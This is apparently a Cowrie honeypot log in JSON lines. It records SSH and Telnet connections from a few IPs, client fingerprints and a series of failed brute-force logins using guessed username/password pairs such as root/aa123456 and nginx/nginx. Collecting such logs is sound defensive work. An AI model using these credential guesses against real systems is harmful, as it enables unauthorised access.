{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:06.199043Z","src_ip":"192.109.200.237","session":"100a163ac22e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:06.281894Z","src_ip":"192.109.200.237","session":"100a163ac22e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tiki2025@!","message":"login attempt [root/Tiki2025@!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:06.539105Z","src_ip":"192.109.200.237","session":"100a163ac22e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:07.630644Z","src_ip":"192.109.200.237","session":"100a163ac22e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51140,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b3b10505f12","protocol":"ssh","message":"New connection: 192.109.200.237:51140 (159.203.135.109:22) [session: 4b3b10505f12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:09.590240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:09.595273Z","src_ip":"192.109.200.237","session":"4b3b10505f12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:09.678697Z","src_ip":"192.109.200.237","session":"4b3b10505f12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:09.928617Z","src_ip":"192.109.200.237","session":"4b3b10505f12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:11.015079Z","src_ip":"192.109.200.237","session":"4b3b10505f12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50734,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc826ea2ddb1","protocol":"ssh","message":"New connection: 192.109.200.237:50734 (159.203.135.109:22) [session: cc826ea2ddb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:12.996325Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51922,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6b70bf59580","protocol":"telnet","message":"New connection: 152.42.224.71:51922 (10.17.0.5:23) [session: e6b70bf59580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:13.073934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:13.083084Z","src_ip":"192.109.200.237","session":"cc826ea2ddb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:13.210562Z","src_ip":"192.109.200.237","session":"cc826ea2ddb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:13.457146Z","src_ip":"192.109.200.237","session":"cc826ea2ddb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:14.543455Z","src_ip":"192.109.200.237","session":"cc826ea2ddb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.52683782577515,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:15.056048Z","src_ip":"152.42.224.71","session":"8c150d56475a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50758,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1a96218369c","protocol":"ssh","message":"New connection: 192.109.200.237:50758 (159.203.135.109:22) [session: e1a96218369c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:16.545996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:16.551100Z","src_ip":"192.109.200.237","session":"e1a96218369c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:16.634464Z","src_ip":"192.109.200.237","session":"e1a96218369c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:16.884592Z","src_ip":"192.109.200.237","session":"e1a96218369c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.154889822006226,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:17.573543Z","src_ip":"152.42.224.71","session":"e083f3786da2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:17.970183Z","src_ip":"192.109.200.237","session":"e1a96218369c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50786,"dst_ip":"159.203.135.109","dst_port":22,"session":"b109b6232f1b","protocol":"ssh","message":"New connection: 192.109.200.237:50786 (159.203.135.109:22) [session: b109b6232f1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:20.016220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:20.021106Z","src_ip":"192.109.200.237","session":"b109b6232f1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:20.103782Z","src_ip":"192.109.200.237","session":"b109b6232f1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":59022,"dst_ip":"10.17.0.5","dst_port":22,"session":"c56a15043f6e","protocol":"ssh","message":"New connection: 103.149.28.157:59022 (10.17.0.5:22) [session: c56a15043f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:20.273650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:20.278352Z","src_ip":"103.149.28.157","session":"c56a15043f6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:20.350022Z","src_ip":"192.109.200.237","session":"b109b6232f1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:20.522258Z","src_ip":"103.149.28.157","session":"c56a15043f6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567899","message":"login attempt [root/1234567899] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:21.256951Z","src_ip":"103.149.28.157","session":"c56a15043f6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:21.435497Z","src_ip":"192.109.200.237","session":"b109b6232f1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:22.507120Z","src_ip":"103.149.28.157","session":"c56a15043f6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47634,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d66ec0d33ca","protocol":"ssh","message":"New connection: 192.109.200.237:47634 (159.203.135.109:22) [session: 7d66ec0d33ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:23.353062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:23.358497Z","src_ip":"192.109.200.237","session":"7d66ec0d33ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:23.441507Z","src_ip":"192.109.200.237","session":"7d66ec0d33ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"123456","message":"login attempt [chris/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:23.689219Z","src_ip":"192.109.200.237","session":"7d66ec0d33ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:24.775202Z","src_ip":"192.109.200.237","session":"7d66ec0d33ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47656,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6b4ee38819f","protocol":"ssh","message":"New connection: 192.109.200.237:47656 (159.203.135.109:22) [session: c6b4ee38819f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:26.773556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:26.778803Z","src_ip":"192.109.200.237","session":"c6b4ee38819f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:26.860954Z","src_ip":"192.109.200.237","session":"c6b4ee38819f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker","message":"login attempt [worker/worker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:27.109612Z","src_ip":"192.109.200.237","session":"c6b4ee38819f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:28.195328Z","src_ip":"192.109.200.237","session":"c6b4ee38819f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.402156591415405,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:29.960799Z","src_ip":"152.42.224.71","session":"056c82e69d48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60784,"dst_ip":"159.203.135.109","dst_port":22,"session":"22a332fd9870","protocol":"ssh","message":"New connection: 192.109.200.237:60784 (159.203.135.109:22) [session: 22a332fd9870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:30.420981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:30.517781Z","src_ip":"192.109.200.237","session":"22a332fd9870","protocol":"ssh"}
